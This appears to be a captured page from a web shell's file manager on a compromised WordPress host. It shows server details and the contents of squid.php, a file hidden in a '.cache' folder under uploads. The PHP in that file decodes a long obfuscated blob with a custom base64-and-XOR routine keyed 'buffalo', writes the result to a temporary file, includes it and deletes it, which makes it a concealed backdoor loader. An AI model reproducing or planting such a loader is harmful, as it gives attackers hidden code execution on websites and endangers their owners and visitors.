HEX
Server: Apache/2
System: Linux server-27-254-144-72.da.direct 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: bannong (1179)
PHP: 8.1.26
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/bannong/public_html/wp-content/uploads/2024/.cache/modules/squid.php
<?php
$encrypted = 'XlQiKSI4NjIwRg4VAQNceGxaCRgCDktrbF0ECgMRWGtrTE9CVVoLBBgOQhYOBxMfChZIRDM1KkJaV1hra0xPQlVaFRUVAwdLa2xBTE9CVUZGQQ4ABgxGHWxmT0JVRkZBTE9CVUZGAw0MCRIUCRQCC08WCQoOHlVCVlcDUAleB05rbEFMT0JVRkZBTE9CVQUJDQMdWFVFAAAKXwdDXWtrTE9CVUZGQUxPQlVGAA4CG08TBwsIABZYVQsJDwMcEhQFA1phZUJVRkZBTE9CCGtsQUxPQlVGRkEYChoBBxQEDU8ZeGxGQUxPQlVGRkFMT0ICDwIVBFVCRlZDWmFlQlVGRkFMT0JVRkZBBAoLEg4SW0xbUgMOXWxmT0JVRkZBTE9CVUZGAw0MCRIUCRQCC08WCQoOHlVCVlQEUw5dAE5rbEFMT0JVRkZBTE9CVQUJDQMdWFVFAAAKXwdDXWtrTE9CVUZGQUxPQlVGBA4eCwcHXEZQHBdCBgkKCAhPQUFSUlphZUJVRkZBTE9CVUZGQRwOBhEPCAZWT1NFFh5aYWVCVUZGQUxPQlVGRkEKAAwBSxUIFgpYVVdSERRUb39GRkFMT0JVRhtsZk9CVUZGQUxPTBgDFRINCAdVHWtrTE9CVUZGQUxPQlVGBQ4AABBPRgoICwcWEhQDBAJUb39GRkFMT0JVRkZBTE8SFAICCAIIWFVXVhEUVG9_RkZBTE9CVUYbbGZPQlVGRkFMTwAAEhIOAk8ZeGxGQUxPQlVGRkFMT0IXBwUKCx0NAAgCTA8ADhoUXBMLDQNdV15NTF5RTUpGUF5dTlVWSFZURll4bEZBTE9CVUZGQUxPQh0DDwYEG1hVVFMRFFRvf0ZGQUxPQlVGRkFMTwEaCgkTVk9BMyAgWSgsWXhsRkFMT0JVRkZBTE9CGAcUBgUBTwcPAQkYVUJEVhYZV2JoVUZGQUxPQlVGRkFMDQ0HAgMTQR0DEQ8TElZPUQUeXWxmT0JVRkZBTE9CVUZGAwMdBhAUXEECAAwQXWtrTE9CVUZGQUxPQlVGFgAICwsbAVxBWB8aVVdUERRUb39GRkFMT0JVRkZBTE8EGggSTAoODxwKH1tMSCgQEiQTDQYMBkYrDgIARVlGQSIDGhAcAxRBIgoVUkpGIgMaEBwDFE1MAg0bCRURDQwHTmtsQUxPQlVGRkFMT0JVAAkPGEIRHBwDW0xeUQUeXWxmT0JVRkZBTE9CVUZGAhkdERoUXEEcAAsbEgMTV2JoVUZGQUxPQlVGRkFMGwcNEksAAAYFG1xGAgkBFhAUXWxmT0JVRkZBTE9CVUZGFQkXFlgCAwIDHQMBDwkPVk8MGggDWmFlQlVGRkFMT0JVRkZBGB0DGxUPFQUADE9GBw0AT1JbV1MSTAoDBgNdbGZPQlVGRkFMTx94bEZBTE9CVUZGAxkbFhoIXAkDGQcHRh1sZk9CVUZGQUxPQlVGRgMDF08GDgcFAxhYVVZGUxwXQk0WHkEeCAAUTlBUQE9UQEpGV1lDQkVIUUhXYmhVRkZBTE9CVUZGQUwNAxYNARMDGgwRSwUOAAAQTxQBAw1HU0ZeSkFdV05VUl5NTF9MQl5PWmFlQlVGRkFMT0JVRkZBCgAMAUsVCBYKWFVXVREUVG9_RkZBTE9CVUYbbGZPQlVGRkFMT0wTDwoEKQsLAQMUQRdiaFVGRkFMT0JVRkZBTBsHDRJLAAAGBRtcRgIJARYQFF1sZk9CVUZGQUxPQlVGRgIDAw0HXEZCCg4ERQNQWmFlQlVGRkFMT0IIa2xBTE9CVUZGQUIHBxQCAxNMFG9_RkZBTE9CVUZGQUxPBBoIEkwKDg8cCh9bTEghGhMUCAkdQjsDEUZATyEaExQICR1OVQsJDwMcEhQFA1phZUJVRkZBTE9CVUZGQQoADAFLFQgWClhVV1JRSVRvf0ZGQUxPQlVGG2xmT0JVRkZBTE8LGxYTFTcbGwUDW0MYChoBRDtBF2JoVUZGQUxPQlVGRkFMDQMWDQETAxoMEUsFDgAAEE9GRVAJXgdEA11sZk9CVUZGQUxPQlVGRgIDAw0HXEZCCg4ERQNQWmFlQlVGRkFMT0JVRkZBDgAQEQMUW0xeEg1GFQ4ABgZVRVNUWVRvf0ZGQUxPQlVGRkFMTxIUAgIIAghYVVIWGVdiaFVGRkFMT0JVRkZBTAkNGxJLBw0CCxkfXEEBAAwaFRYADwpZeGxGQUxPQlVGRkFMT0IYBxQGBQFPGQMAFVZPU0UWHlphZUJVRkZBTE9CVUZGQRsGBgEOXEFeX1IFHl1sZk9CVUZGQUxPH3hsRkFMT15aFRIYAApceGxaTgQKAxFYa2tQDQ0RH1hsZk9CVUZaBQUZQhYKBxIfUkATDwoEKQsLAQMUQ1JiaFVGRkFMT0JVWgAOHgJCGAMSCQMLX1c2KTI4TVx4bEZBTE9CVUZGQUxPQkkCDxdMDA4UFRVcTgcHFAIDE05Rb39GRkFMT0JVRkZBTE9CVUZGXQUBEgASRhUVHwdIRBIEFBtAVQgHDAlSQBsDET4KBg4QCAcMCU1CBQoHAgkHDRkCAxNRTQwQETkHBQMHGwcLBE5PFBQKEwRRTUBLa2xBTE9CVUZGQUxPQlVGRkFMUwAAEhIOAk8WDBYDXE4cFxcLDxVOUSEHAwcVCVNNFxMSFQMBXHhsRkFMT0JVRkZBTE9CVUZGQVBQEh0WRggKT0pUAwsRGBZKUQsDEh8OBRBPT0EJDAoaRkFdCAYUVQUKAB8cX1cLAxIfDgUQRFhGTEFCHRILDR8fBxYPBw0PBwMHFU5FAQoRBgcBBEVPTFVBWk4IBhRLQV1BU1Fvf0ZGQUxPQlVGRkFMT15aAg8XUmJoVUZGQUxPQlVGRkFMUwAHWGtrTE9CVUZGQUxPQlVGWhUJFxYUFAMATAEDGANbQw8ADAEDCBVOTxIZBwUEBAAOEQMUXE5ATVURFAgYCkIMCRMTTAwNGxIDDxhPChAUA09CQUBLWkkVCRcWFBQDAFJiaFVGRkFMT0JVWkkHAx0PS2tsQUxPQklJAggaUW9_WkkDAwsbS2tsXUMHFhgKWGxmYmhJWRYJHGJoURYHFQRPX1UPFRIJG0pROSEkODRFBQcSCUsyS1VZRhMJDg4FBxIJREs9MiMyOksfAwEOQTxFT1hVCBMNAFRvf0ICDg8aDxAIEjMDABZVW0YTCQ4OBQcSCUQIBwEFEQVERktOa2xsZgYEVU5HRRwOFh1GGh1MTgsGOQIIHkdGBQcSCUVGQg5rbEFMT0IRDwNJSwYMFgkUEwkMFlUCDxMJDBYaFB9GRVRvfxtra2FlRhgDFRINCAdVW0ZGS1Rvf2tsCApPSlE5NSQ-OScnPUEzKT43MDUyPiEqNj0pIkYxT19IW0ZGPCAxIUFPQRdiaFVGRkFIAQcCIA8NCQEDGANGXEwGEQYDEklIMDI6NTI6SwEHAjkACAAKDBQLA0YxRkJKRhITBQJKUTk2Lj87OVIIAxYzCQsZAwgAAQpFKE9GW0xIRU5rbEFMT0JRBQkPGAoMAUZbQQUcERASTkUzPy0mMj1GDwAMAQMIFUsyS1VZRkUzPy0mMj1GDwAMAQMIFUsyQk9GQUZXYmh4bGtrTE9CVQ8AQURLDBARIAgACgwUCwNBTVJfVUFBSEwUb39GRkFMT0JVRkIVDR0FEBIgCAAKQkhGQhENGwpVSEYlJT0nNjIpMzUwMTA2JzMtOy0nRkhBDg4REAgHDAlHRhsDEScFAwcbBwsERVRvf2tsQUxPQlVGRkEFCUJdRwAIAAo9EB4PEhgcSlESBxMLChYzDwoERUZCDmtsQUxPQlVGRkFMT0JVDwBBRAkLGQM5ERkbPRYJCBUJARYGTkIVDR0FEBIgCAAKTlVCBQ4CGwcbEk9BTVJfVQAHDR8KS1Uda2tMT0JVRkZBTE9CVUZGQUxPRhgDFRINCAdVW0ZDDx0HFBIDBU1NWXhsRkFMT0JVRkZBTE9CCEYDDR8KQg5rbEFMT0JVRkZBTE9CVUZGQUxLDxAVFQALCkJIRkQHDQYOEAJGFQNPFQcPEgRMCQsZA11DV2JoVUZGQUxPQlVGRkFMEm9_RkZBTE9CVUYbQQkDERBGHWxmT0JVRkZBTE9CVUZGRQEKEQYHAQRMUkJXAA8NCU8DGRQDAAgWQhAeDxIYHFlXXWtrTE9CVUZGQUwSb39GRkFMEkIQChUETBRvf0ZGQUxPQlVGQgwJHBEUAQNBUU9AEw8KBAIODxBGDxJMHQcEEw8TCQtZV11ra0xPQlUba2sRYmhKWGtr';
if (!function_exists('eagle')) {
    function eagle($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), eagle($encrypted, 'buffalo'));
include $tmp;
unlink($tmp);

?>